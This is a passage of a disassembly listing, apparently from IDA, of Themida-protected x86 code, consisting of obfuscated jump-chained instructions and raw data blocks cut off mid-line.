0FFCAA8E9h, 0B3E956FFh, 0B5000038h, 4E5C0ECh dd 0C5FEDDF6h, 28C9ED80h, 0B25259E8h, 0F6CAFE95h, 80C2FEDAh dd 9AE9ACEAh, 87FFFFA4h, 0CF87243Ch, 0FFEA8BE9h, 0C681FFh dd 0E9E1D438h, 0FFFFB774h, 53240C8Bh, 0FFED98E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DB09: ; CODE XREF: Themida_:0054A63Bj add ecx, 4 push esi mov esi, 50B64A7h add esi, 5ADE25E6h push eax mov eax, 5FE98A89h sub esi, eax mov eax, [esp] jmp loc_5481EB ; --------------------------------------------------------------------------- db 41h dd 0E903E1C1h, 0FFFFC70Eh, 8B241C87h, 2C812424h, 6740E524h dd 0F9BA525Bh, 29624B50h, 0E9042454h, 0 dd 242C815Ah, 361C20BEh, 0FFD70FE9h, 43E950FFh, 5100001Ch dd 0B850E189h, 5E16451Fh, 451BBA52h, 0D0295E16h, 58C1015Ah dd 4E981h, 0C870000h, 1C895C24h, 2FE95424h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB8B: ; CODE XREF: Themida_:0054B40Aj sub ecx, 5EC11CF5h add ecx, 22F021B8h add ecx, edi sub ecx, 22F021B8h add ecx, 5EC11CF5h pop edi jmp loc_54E523 ; --------------------------------------------------------------------------- db 0BDh dd 2D31592Ch, 0FFE683E9h, 2434FFFFh, 0FFB517E9h, 0CD685BFFh dd 8900004Dh, 4B02404h, 48BC700h, 8B545124h, 2CE9240Ch dd 0FF00001Ch, 0C1E92434h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DBDF: ; CODE XREF: Themida_:00547C85j mov edi, 54BC6D43h inc edi not edi and edi, 7A6C4BA8h jmp loc_54C53E ; --------------------------------------------------------------------------- dw 0E581h dd 1458161Ch, 0A73BED81h, 0E9098BE4h, 25DFE95Dh, 89660000h dd 50662414h, 0F970E99Ch, 3C89FFFFh, 2474FF24h, 243C8B04h dd 4C481h, 0FBE90000h, 68FFFFBEh, 1FAC7A42h, 0FFAD6DE9h dd 0ECE959FFh, 81FFFFB0h, 4EEh, 24348700h, 8924248Bh, 48B2434h dd 1A68E924h, 0C4830000h, 0C3015A04h, 29E268h, 242C8900h dd 0ED48F3BDh, 3C3810Dh, 8101BA1Ah, 84345EBh, 81EB293Ah dd 84345C3h, 3EB813Ah, 0FF01BA1Ah, 815D2434h, 4C4h, 8F6600h dd 0FF8948E9h, 81FE01FFh, 0D56EEEEh, 0B8505F6Bh, 2, 39F9C681h dd 0C6010DA6h, 39F9EE81h, 48B0DA6h, 0E1895124h, 0FF8B2BE9h dd 8951ACFFh, 4C181E1h, 52000000h, 4BAh, 9AC18100h, 297D2102h dd 93AFE9D1h, 2489FFFFh, 24048124h, 4, 5457515Bh, 4C04E9h dd 2434FF00h, 0E924048Bh, 983h, 0D81AEE81h, 0F201B220h dd 0FFB3B4E9h, 0BAE981FFh, 313E5268h, 240C8BC8h, 0E904C483h dd 270Eh, 4BD55h, 0EF810000h, 3D1D2974h, 0FF9151E9h, 24248BFFh dd 0FF243C89h, 0E9042474h, 0FFFFAE7Fh ; --------------------------------------------------------------------------- loc_54DD30: ; CODE XREF: Themida_:0054B1ADj sub ebp, 1EF14FE4h jmp loc_54B309 ; --------------------------------------------------------------------------- db 58h dd 89EB8953h, 0ECE95BDEh, 81FFFFAAh, 0A31020C7h, 5DF7812Bh dd 29306D05h, 0EE29E9F8h, 0E381FFFFh, 38CF689Ch, 5139F381h dd 0D8294E65h, 27F2685Bh, 1C890000h, 3710E924h, 48B0000h dd 9224E924h, 3433FFFFh, 0DBE95C24h, 83FFFF9Ch, 148704C2h dd 0E6685C24h, 8900007Dh, 0E189240Ch, 3079E9h, 87EB8000h dd 809BE380h, 0D820D4C3h, 66D0F65Bh, 0B5516653h, 2D0FE990h dd 0E5890000h, 4B850h, 0BE560000h, 6F83C8Fh, 4060C681h dd 0D6F71CF2h, 5108EEC1h, 3216C9B9h, 7E1C10Bh, 8105E9C1h dd 0D5671BE9h, 8141493Ch, 5EDEC6E9h, 0D4C0E9AFh, 0C7FEFFFFh dd 80BBC780h, 0F830F6EFh, 0FFD7E4E9h, 241C89FFh, 0E9C78957h dd 4657h, 4B8h, 0B863E900h, 3489FFFFh, 34FF5424h, 0C4835E24h dd 1FF86804h, 2C890000h, 4BD24h, 0EE010000h, 0FFD15AE9h dd 241CF7FFh, 879BE99Ch, 835CFFFFh, 0C8704C4h, 0D3CFE924h dd 0C281FFFFh, 4, 0E902EA83h, 0FFFFDB85h, 9DE68h, 9951E900h dd 0DDF6FFFFh, 0EF885366h, 0FD88C7FEh, 0ED805B66h, 2CF5809Ch dd 8B59E800h, 0C483241Ch, 0FC33004h, 0E6E9C0B6h, 89FFFFE1h dd 0C4BA2414h, 564AB315h, 5C4025BEh, 4577E919h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DE96: ; CODE XREF: Themida_:00548724j add eax, 4 push ebx mov ebx, 4 jmp loc_549E77 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8704C283h, 0C15C2414h, 0EC8102E5h, 4, 87242C89h dd 0D0F72404h, 5D240487h, 240CFF55h, 0F0ED815Dh, 0E9039362h dd 0FFFFCD15h, 0E92434FFh, 0FFFFC7B4h, 34FF5456h, 0C4815E24h dd 4, 4EC81h, 4890000h, 4B824h, 0EE810000h, 73F65D2Fh dd 9CAE9h, 5AF00000h, 803CB652h, 0EEC091EEh, 45F68007h dd 0FFCD11E9h, 8E2C0FFh, 49E568h, 9E90E900h, 0D1F7FFFFh dd 42E6E9h db 0 ; --------------------------------------------------------------------------- loc_54DF2D: ; CODE XREF: Themida_:00549BE4j push ecx jmp loc_552245 ; --------------------------------------------------------------------------- db 0F7h dd 0C38143DBh, 8E88914Fh, 0BE5BD989h, 0F0F32FDh, 0C8BCE31h dd 4C48124h, 0E9000000h, 0FFFFD882h, 2158C231h, 9CEAE9D1h dd 2C89FFFFh, 49BB5324h, 0E96D4E71h, 4837h ; --------------------------------------------------------------------------- loc_54DF6C: ; CODE XREF: Themida_:00549297j xchg ecx, [esp] jmp loc_550C22 ; --------------------------------------------------------------------------- loc_54DF74: ; CODE XREF: Themida_:00550172j sub eax, ebx add eax, 22424DA6h pop ebx shl eax, cl push 442Ch mov [esp], esi push 20E4h jmp loc_54BBE1 ; --------------------------------------------------------------------------- dd 4C481h, 2AE90000h, 83FFFF99h, 5F042404h, 2B95E9h db 0 ; --------------------------------------------------------------------------- loc_54DFA5: ; CODE XREF: Themida_:00549E84j mov [esp], esi push edx mov edx, 2A00CACh jmp loc_55225B ; --------------------------------------------------------------------------- db 83h dd 0E95602C6h, 2ABh, 8904EC83h, 0E954241Ch, 0FFFFB3E3h dd 0F780C7FEh, 0A389E960h, 5059FFFFh, 42474FFh, 24048F58h dd 6624248Bh, 2404AB0Fh, 410FE99Ch, 0DA010000h, 0E9241C8Bh dd 8CAh ; --------------------------------------------------------------------------- loc_54DFF4: ; CODE XREF: Themida_:005505AEj add edx, 712433C8h jmp loc_551883 ; --------------------------------------------------------------------------- loc_54DFFF: ; CODE XREF: Themida_:00547CE6j mov ecx, 37DE1B1Ch not ecx not ecx and ecx, 58F8362Eh not ecx sub ecx, 9FDBD6D1h jmp loc_54A43F ; --------------------------------------------------------------------------- loc_54E01B: ; CODE XREF: Themida_:0054E9A4j mov [esp], ebx push dword ptr [esp] pop eax push 39FCh mov [esp], esi push 6F53h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push eax push ecx jmp loc_54D96D ; --------------------------------------------------------------------------- loc_54E044: ; CODE XREF: Themida_:0054D3A6j mov ecx, [esp] add esp, 4 jmp loc_551AAB ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 4F46h, 37F4E9h db 0 ; --------------------------------------------------------------------------- loc_54E05D: ; CODE XREF: Themida_:0054EEF2j add eax, 0C4E6CFEDh sub ebx, 4DF176A7h sub esp, 4 mov [esp], esi mov esi, 7854282h add ebx, esi pop esi add ebx, eax push ecx mov ecx, 7854282h sub ebx, ecx pop ecx jmp loc_55060E ; --------------------------------------------------------------------------- db 58h, 87h, 1Ch dd 24248B24h, 48ACBD55h, 2C2D709Bh, 290A3F6Fh, 6F2C05E8h dd 515D0A3Fh, 6853E189h, 2E4006C8h, 0C003E95Bh, 0C821FFFFh dd 0FFBC84E9h, 0CD8955FFh, 595DEB89h, 74AEF381h, 0D80156EDh dd 4BF575Bh, 29000000h, 1269E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E0D6: ; CODE XREF: Themida_:0054A7E8j xor ebp, [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 mov [esp], ecx push ebx mov ebx, esp jmp loc_548E2A ; --------------------------------------------------------------------------- db 1, 0D6h, 5Ah dd 4B951h, 39E90000h, 81FFFFF6h, 4C4h, 5EF20100h, 5C241487h dd 68F9F766h, 6F3h, 89243C89h, 7BBA52E7h, 812CF03Bh, 7D7282CAh dd 0F7EA814Bh, 16FFD7Bh, 0E7685AD7h, 0E9000001h, 2581h ; --------------------------------------------------------------------------- loc_54E138: ; CODE XREF: Themida_:00549FF2j sub edx, 35762549h pop ebp jmp loc_54E99B ; --------------------------------------------------------------------------- dd 24048966h, 0FF8488E9h, 73BA52FFh, 0E9046938h, 43C3h dd 0E924248Bh, 0FFFFD450h, 4BB53h, 0DE290000h, 2434875Bh dd 243C895Ch, 2BFh, 0DFC38100h, 13CC978h, 0DFEB81FBh, 0E93CC978h dd 228Bh, 48B665Ch, 0EC815324h, 4, 81242489h, 42404h, 815B0000h dd 4C3h, 4EC8300h, 0BA241489h, 4, 79CDEB81h, 0C7E9289Eh dd 87FFFFDAh, 0E5E92434h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E1C3: ; CODE XREF: Themida_:00548B21j or ecx, 206511F9h push eax jmp loc_54E2E7 ; --------------------------------------------------------------------------- db 83h dd 0A6E904C1h, 53FFFFBBh, 0A6298BBh, 0BE35E91Eh, 0E955FFFFh dd 22D4h, 24BB53h, 0C3810000h, 45254358h, 37B6C381h, 0FB0112EAh dd 37B6EB81h, 0EB8112EAh, 45254358h, 0FFE34CE9h, 0B4505AFFh dd 4EC80CCh, 7D4A68h, 240C8900h, 0CDFE28B5h, 0FFB8A0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E225: ; CODE XREF: Themida_:00551D8Aj neg ecx add ecx, 41A652A6h push eax mov eax, ecx jmp loc_55292A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 50000000h, 3D6D0EB8h, 321A685Dh, 34890000h, 1296BE24h dd 0F3011F8Ah, 0E9C3295Eh, 0FFFF9A32h ; --------------------------------------------------------------------------- loc_54E258: ; CODE XREF: Themida_:0054A6C8j mov edi, 3CDA6A99h push 58B1h jmp loc_54F5A6 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C4832434h, 1CBDE904h, 34FF0000h, 2434FF24h dd 0E5A1E958h, 535BFFFFh, 0C3815B54h, 4, 0FFE1DFE9h, 4C481FFh dd 53000000h, 2B10E9h, 8BC60100h, 0C4832404h, 24343304h dd 33243431h, 505C2434h, 277AE9h db 0 ; --------------------------------------------------------------------------- loc_54E2B5: ; CODE XREF: Themida_:00547DE7j xor eax, edi mov edi, [esp] add esp, 4 push edi push 57CC593Bh mov edi, [esp] add esp, 4 add edi, 0FFFFFFFFh push esi mov esi, 57C4593Ah push ebp mov ebp, 42366F33h jmp loc_54FA47 ; --------------------------------------------------------------------------- dd 65E95452h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2E7: ; CODE XREF: Themida_:0054E1CAj mov eax, 1 add ecx, eax pop eax add ecx, 9F908C05h jmp loc_54B2F9 ; --------------------------------------------------------------------------- dw 0ED81h dd 246A7195h, 89E98951h, 815D59CFh, 0C64EC4C3h, 81FB014Dh dd 0C64EC4EBh, 243C8B4Dh, 3304C483h, 1C31241Ch, 241C3324h dd 680E9h, 0E9E82000h, 0FFFFEAC0h ; --------------------------------------------------------------------------- loc_54E330: ; CODE XREF: Themida_:0054C81Ej add ecx, edi jmp loc_54B739 ; --------------------------------------------------------------------------- db 5Dh dd 0BB53D8F7h, 0AA7DB2h, 0E95BD809h, 0FFFFD1F6h, 0E92434FFh dd 0FFFF9E7Fh, 240C8B66h, 145C68h, 241C8900h, 570B68h dd 0F96CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E366: ; CODE XREF: Themida_:0054C8F8j push dword ptr [esp+4] jmp loc_5471CB ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 4C781h, 0C7810000h, 2, 81E68956h, 4C6h dd 4EE8300h, 0E9243487h, 0FFFFF989h, 2C0AED80h, 78047Dh dd 4EC83E8h, 0E9240C89h, 0FFFFF71Fh ; --------------------------------------------------------------------------- loc_54E3AC: ; CODE XREF: Themida_:0054EA04j mov eax, 4B254D18h push esi jmp loc_54968C ; --------------------------------------------------------------------------- loc_54E3B7: ; CODE XREF: Themida_:0054F7EFj add ecx, 0FFFFFFFFh xor ecx, 6C2F6ED5h add ebp, 4984C7Eh sub ebp, 5DE43C70h add ebp, ecx jmp loc_549020 ; --------------------------------------------------------------------------- db 66h dd 0E8EB805Bh, 80CEEB80h, 0C32854C3h, 5254EB80h, 0CBB68h dd 24048900h, 0E288D1B4h, 60B35358h, 0E95BDA00h, 0FFFFC483h dd 405E089h, 0E9000000h, 0FFFFB311h, 0FF81C8E9h, 24248BFFh dd 0FF81C0E9h, 0DBF74BFFh, 0C381DBF7h, 0DFFDEB61h, 815BDE01h dd 4C6h, 24348700h, 440A685Ch, 4890000h, 819BE924h, 0E830FFFFh dd 240C8B66h, 0FF85BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E445: ; CODE XREF: Themida_:00550672j push 3CAh mov [esp], edx jmp loc_5490C7 ; --------------------------------------------------------------------------- dw 0E181h dd 354364BEh, 300AC181h, 56E945ECh, 66FFFFFCh, 6824048Bh dd 743h, 0E9242C89h, 0FFFFE53Ah, 5C240C87h, 0F187E952h dd 0CB81FFFFh, 34E6121Bh, 4983C381h, 0C3817411h, 74F39221h dd 243C8B53h, 4C481h, 16E90000h, 0F700001Bh, 87BF57D2h dd 815EF81Dh, 4381DF7h, 7E7C16Bh, 387C781h, 0C7811A0Dh dd 131B7D7Bh, 8AB3EF81h, 0EA813FCBh, 44A912E6h, 0EAE9FA01h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4CF: ; CODE XREF: Themida_:0055125Ej pop edx xor eax, 764C10CAh not eax neg eax neg eax sub eax, 600D41EDh add eax, 0DD054EABh jmp loc_54F094 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 83000000h, 0B5E902C5h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4FB: ; CODE XREF: Themida_:00549AA4j inc ecx or ecx, 2AF20203h xor ecx, 207D6D37h mov edi, ecx pop ecx jmp loc_54AD7A ; --------------------------------------------------------------------------- dd 5FFA3158h, 37E9D031h, 0C0FFFFDAh, 8FE903E6h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E523: ; CODE XREF: Themida_:0054DBA6j push ebx jmp loc_549EE4 ; --------------------------------------------------------------------------- db 0ADh, 68h, 2 dd 89000033h, 1CBE2434h, 296DAE70h, 2434FFF0h, 42C7E9h db 0 ; --------------------------------------------------------------------------- loc_54E541: ; CODE XREF: Themida_:0054B0B0j xor [esp], ecx xor ecx, [esp] pop esp test cl, al pushf jmp loc_5465D5 ; --------------------------------------------------------------------------- dd 0FE03EAC0h, 2BD6E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E55A: ; CODE XREF: Themida_:00552343j xor ebp, 7007711h inc ebp xor ebp, 5AAE1771h xor ecx, ebp pop ebp and ecx, 44AA249Fh jmp loc_54A0E0 ; --------------------------------------------------------------------------- db 5, 0B0h, 45h dd 0D80138B2h, 0B245B02Dh, 74AF0538h, 335B3AFDh, 4312404h dd 24043324h, 6624248Bh, 0E9C8BE0Fh, 0FFFFD990h, 33243C31h dd 895C243Ch, 2434FFD0h, 4C4815Ah, 81000000h, 4ECh, 24148900h dd 385BD3BAh, 4E2C173h, 4601CA81h, 0E2D1256Fh, 6843CA81h dd 0B850277Ch, 2CE01337h, 0B951D8F7h, 0EB81EDFh, 0FFF71CE9h dd 0D4F659FFh, 5066E386h, 0C1E901B4h, 8BFFFFDDh, 0C4832414h dd 5F545704h, 4C781h, 0BA520000h, 3E102666h, 0F281D2F7h dd 0C1EFD99Dh, 875AD701h, 248B243Ch, 865CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E61A: ; CODE XREF: Themida_:0054FB73j pop ecx sub ecx, 722E0A07h add ecx, edi jmp loc_551CCC ; --------------------------------------------------------------------------- dd 6D7068h, 9A39E900h, 8956FFFFh, 4C681E6h, 0E9000000h dd 0FFFFCD1Ah, 605C6857h, 1C890000h, 0C63BB24h, 0CB817A29h dd 1B5E1305h, 8106E3C1h, 0AAC400EBh, 348153BCh, 911EA224h dd 3E95F37h, 4BFFFF90h, 0E7E9D3F7h, 68FFFFF6h, 2BDh, 89240C89h dd 0D5E955E1h, 8BFFFF99h, 5456241Ch, 66B9515Eh, 0E909403Dh dd 82Dh, 4C281h, 0C2830000h, 24148704h, 2CCA815Ch, 5344D12Dh dd 205037BBh, 18E95605h, 0FFFFFF85h, 8B042474h, 0E9572434h dd 0FFFF9BE0h, 0E904EF83h, 1AAFh, 0E907E3C1h, 0F23h ; --------------------------------------------------------------------------- loc_54E6D0: ; CODE XREF: Themida_:0054A1B5j pop ecx shr ebx, 1 xchg ebp, ebx not ebp xchg ebp, ebx add ebx, 0A2747A1h jmp loc_54BF35 ; --------------------------------------------------------------------------- dd 0E904EC83h, 5AAh, 45E9E788h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E6F3: ; CODE XREF: Themida_:0054C5A2j sub [edi+24h], ebp mov ebp, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push ebp jmp loc_54832F ; --------------------------------------------------------------------------- loc_54E70D: ; CODE XREF: Themida_:0054ADB5j mov [esp], ebp push 3E322ABEh pop ebp shl ebp, 3 xor ebp, 0F19155F1h mov esi, ebp pop ebp mov ebp, esi pop esi and eax, ebp push dword ptr [esp] mov ebp, [esp] push ecx mov ecx, esp push edx mov edx, 71383975h jmp loc_547340 ; --------------------------------------------------------------------------- db 81h dd 592D81C6h, 81DE2933h, 592D81EEh, 241C8B33h, 8B04C483h dd 0C483241Ch, 2BD5504h, 29000000h, 0EAFCE9EEh, 515BFFFFh dd 0FF8EC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E769: ; CODE XREF: Themida_:0054B267j pop esi add ecx, 4 push 7CE1h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_551194 ; --------------------------------------------------------------------------- loc_54E78A: ; CODE XREF: Themida_:0054C5B2j xchg eax, [esp] pop esp jmp loc_550057 ; --------------------------------------------------------------------------- db 2Dh dd 113D056Dh, 6CFCBF57h, 0EF81092Eh, 7362865Fh, 0FFD519E9h dd 240C8BFFh, 81E38953h, 4C3h, 3CBFE900h, 5FF70000h, 246F8124h dd 806391C0h, 0E92447FFh, 0FFFFFA1Ch, 6856E389h, 7CFDh dd 68243C89h, 6DF97431h, 0B46DE95Fh, 5566FFFFh, 1F9CBD66h dd 66EB2966h, 0C0B70F5Dh, 36686866h, 24048966h, 0FF7DD8E9h dd 2434FFFFh, 83240C8Bh, 3B6804C4h, 89000065h, 0B9E9241Ch db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E813: ; CODE XREF: Themida_:0054C4C0j add esp, 4 movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 32FF66C3h, 0FF954EE9h, 4EC81FFh, 89000000h, 2ABF243Ch dd 8922D51Ah, 9EE95FFDh db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E83F: ; CODE XREF: Themida_:00548985j mov bl, 17h sub dh, bl jmp loc_550FCA ; --------------------------------------------------------------------------- dd 0B1E9BD55h, 0EA011CDEh, 8BD0315Dh, 0A1682414h, 89000007h dd 0E589242Ch, 4C581h, 0C5810000h, 4, 2474FF55h, 0A712E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E876: ; CODE XREF: Themida_:0054756Bj add eax, 769A35EAh add eax, ecx sub eax, 769A35EAh sub eax, 63111B90h mov ecx, [esp] jmp loc_55038D ; --------------------------------------------------------------------------- db 0B7h dd 88B4E91Fh, 0C281FFFFh, 4, 8704EA83h, 895C2414h, 34FF2404h dd 0C422E924h, 0AE68FFFFh, 0E900006Dh, 619h, 857BE958h dd 0C481FFFFh, 4, 2474FF52h, 0F3E95A04h, 1FFFFD7h, 0D588E9C6h dd 48BFFFFh, 929DE924h, 6652FFFFh, 0E97FE568h, 0FFFFA8B1h dd 240C8B66h, 98C6E955h, 0FD58FFFFh, 0E87D5068h, 0E9C15932h dd 7E86808h, 57E90000h, 5AFFFFF6h, 4BD55h, 0E9010000h dd 240C875Dh, 0FFEB5DE9h, 240C31FFh, 0E9240C33h, 5E1h dd 2A1AE958h, 0DE680000h, 8900002Fh, 4832424h, 5580424h dd 4, 46853h, 55B0000h, 633546F2h, 0F22DD801h, 5B633546h dd 0FF7FF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E955: ; CODE XREF: Themida_:0054A7B0j add esp, 4 push 7111h mov [esp], edi jmp loc_5509E5 ; --------------------------------------------------------------------------- loc_54E968: ; CODE XREF: Themida_:0054C483j pop ebx add eax, edx pop edx jmp loc_5520FE ; --------------------------------------------------------------------------- loc_54E971: ; CODE XREF: Themida_:0054CFC8j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 41A652A7h push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_551D84 ; --------------------------------------------------------------------------- dd 0F2E9D586h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E99B: ; CODE XREF: Themida_:0054E13Fj xchg edx, [esp] pop esp loc_54E99F: ; CODE XREF: Themida_:0054FF6Bj push 5FC9h jmp loc_54E01B ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 9C2404D3h, 0FF7C20E9h, 8F8BDFFh, 0E9317770h, 83242C8Bh dd 0C18104C4h, 2E570C0Dh, 755BF181h, 0CB011FA7h, 81240C8Bh dd 4C4h, 0BE565500h, 0C2808EBh, 0FF8EA7E9h, 243487FFh dd 88DCE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E9EE: ; CODE XREF: Themida_:0054D0D4j add bl, dh sub bl, 38h pop edx sub esp, 4 mov [esp], edx push ecx push 42F7h mov [esp], ebp push eax jmp loc_54E3AC ; --------------------------------------------------------------------------- db 54h, 0FFh, 34h dd 0C4815E24h, 4, 4BA52h, 0D6010000h, 4BA525Ah, 0E9000000h dd 30D6h, 2BBh, 74AF2D00h, 3EE93AFDh, 81FFFFFBh, 0A72AE8C6h dd 66EE810Fh, 5F774566h, 8B243487h, 0E8C12424h, 50C83108h dd 33242C31h, 2C31242Ch, 56F58724h, 0FF9597E9h, 0E28952FFh dd 4C281h, 0CEE90000h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EA6F: ; CODE XREF: Themida_:005466FEj mov esp, [esp] push small 68ACh mov [esp], cx jmp loc_54A31F ; --------------------------------------------------------------------------- loc_54EA7F: ; CODE XREF: Themida_:0054C07Bj pop ebp xchg ebx, [esp] mov esp, [esp] push edi push ecx mov ecx, 242F4594h jmp loc_549826 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_547718 ; --------------------------------------------------------------------------- dd 5AE95455h, 58FFFF99h, 6D7568h, 241C8900h, 0FF9DC6E9h dd 24048FFFh, 0E924248Bh, 0FFFFF997h, 0FF7B04E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EAD1: ; CODE XREF: Themida_:005498B2j sub ecx, 595619F3h jmp loc_549296 ; --------------------------------------------------------------------------- dd 49FFC381h, 815E3CB2h, 4ECh, 241C8900h, 42474FFh, 24048F5Bh dd 2F59E9h db 0 ; --------------------------------------------------------------------------- loc_54EAF9: ; CODE XREF: Themida_:0054D981j add edi, 4 sub edi, 4 jmp loc_54BD1B ; --------------------------------------------------------------------------- db 41h dd 352DE981h, 0C831E996h, 0FF924AE9h, 11CC68FFh, 14890000h dd 5F3E924h, 0D8280000h, 0FF9DE9E9h, 0F1E957FFh, 8000000Eh dd 0B60F81EBh, 148B66C0h, 3D1CE924h, 0E9560000h, 0FFFF9C93h dd 0DCBD5556h, 89038750h, 0EEC15DEEh, 0E9D6F702h, 1551h dd 4EC81h, 4890000h, 5D0BB824h, 35484F71h, 59430CEh, 0FF955DE9h dd 48B66FFh, 8F6E924h, 0D7280000h, 8B2434FFh, 89502414h dd 405E0h, 0C0830000h, 24048704h, 4C4835Ch, 34FFF828h dd 0C4815B24h, 4, 2EB45066h, 28DFC380h, 0DFEB80E3h, 0FFEC62E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EBB1: ; CODE XREF: Themida_:00549E21j pop eax pop ebx jmp loc_546C19 ; --------------------------------------------------------------------------- dd 86EE814Eh, 89F522FBh, 0C1295EF0h, 60F18158h, 893C6A3Dh dd 0CF8159CFh, 6CD95818h, 0F781DFF7h, 0EB2DC3ADh, 3C8BFE31h dd 0DDC0E924h, 5150FFFFh, 242658B9h, 0EB4E95Dh, 74FF0000h dd 0ACE90424h, 0FFFF82h, 9DB1E9C3h, 48FFFFFh, 25BAE924h dd 0DE010000h, 2434875Bh, 66E9F65Ch, 56CCB60Fh, 0BD555E54h dd 48841E99h, 35D5E581h, 0D5F705F2h, 0EB6AF581h, 0EE01FF7Fh dd 0E92434FFh, 381Fh, 8324348Bh, 95E904C4h, 81FFFFDEh dd 4C4h, 4EC8300h, 53240489h, 66599A68h, 0ABE95B75h, 0B100002Eh dd 80C9FEB8h, 0CF30D2C1h, 5ACE9h db 0 ; --------------------------------------------------------------------------- loc_54EC69: ; CODE XREF: Themida_:0054A012j shl edx, 1 push dword ptr [edi+24h] jmp loc_54AB45 ; --------------------------------------------------------------------------- db 2Dh dd 0AE21284Eh, 5D58C201h, 35F4E9h, 4B85000h, 1000000h dd 0EF8158C7h, 4, 0D9E5E957h, 3C89FFFFh, 3F06824h, 24890000h dd 24048324h, 0C7815F04h, 4, 67BD68h, 24348900h, 2BD55h dd 0EE890000h, 0A1C7815Dh, 81770D46h, 0BC7FF8C7h, 8B6E913h dd 0E0890000h, 405h, 40500h, 4870000h, 0F8E95C24h, 8B000020h dd 21662424h, 0E99C2404h, 0FFFF78E5h, 22116CBEh, 0C4E68158h dd 0C16CAE76h, 464E07E6h, 306CE9h db 0 ; --------------------------------------------------------------------------- loc_54ED05: ; CODE XREF: Themida_:0054A4EEj mov [esp], eax mov eax, 15EA028Bh or eax, 531C790Ch not eax shl eax, 1 xor eax, 0F176277h add ebx, eax pop eax pop ecx push ebp mov ebp, 54E337BCh push 1ABCD9Ch pop ecx add ecx, ebp jmp loc_546D99 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0C3830000h, 241C8704h, 8324248Bh, 348904ECh dd 2474FF24h, 24348B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp xor [esp], ax pushf jmp loc_5465D5 ; --------------------------------------------------------------------------- loc_54ED6E: ; CODE XREF: Themida_:0054F2F1j mov ecx, 212A58E8h or ecx, 2E221DF4h not ecx add ecx, 64E87E13h jmp loc_54A0F2 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4C281h, 0A2E90000h, 5FFFFDDh, 5545CD1h, 0FF90A9E9h dd 48B66FFh, 59545124h, 1042E9h db 0 ; --------------------------------------------------------------------------- loc_54EDAD: ; CODE XREF: Themida_:0054B481j pop eax push ebx jmp loc_54CD5F ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 0C890000h, 79B5E924h, 8957FFFFh dd 7BAD68E7h, 4890000h, 0E64BE924h, 0ED81FFFFh, 2219CE57h dd 0FF8F8EE9h, 2C583FFh, 2CEDE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EDEA: ; CODE XREF: Themida_:00551B39j sub ebx, 0E3BFC87Fh or ecx, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_54A824 ; --------------------------------------------------------------------------- db 0BAh dd 4, 835AD601h, 343302C6h, 24343124h, 1D95E9h db 0 ; --------------------------------------------------------------------------- loc_54EE19: ; CODE XREF: Themida_:0054B496j push edi sub dword ptr [esp], 2549139Bh push dword ptr [esp] pop esi add esp, 4 push ecx jmp loc_5500EE ; --------------------------------------------------------------------------- dw 0C328h dd 801BC380h, 0EB8035EBh, 0B04BE91Ah, 0E901FFFFh, 0FFDC7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EE45: ; CODE XREF: Themida_:0054C390j mov ecx, 36F92D47h xor eax, ecx pop ecx mov esi, eax pop eax add ebp, esi mov esi, [esp] add esp, 4 xor ebp, 5D955A68h not ebp xor ebp, 0D7E0B9C2h add ecx, ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 3892h mov [esp], edi push ebx push edx jmp loc_548E86 ; --------------------------------------------------------------------------- loc_54EE8D: ; CODE 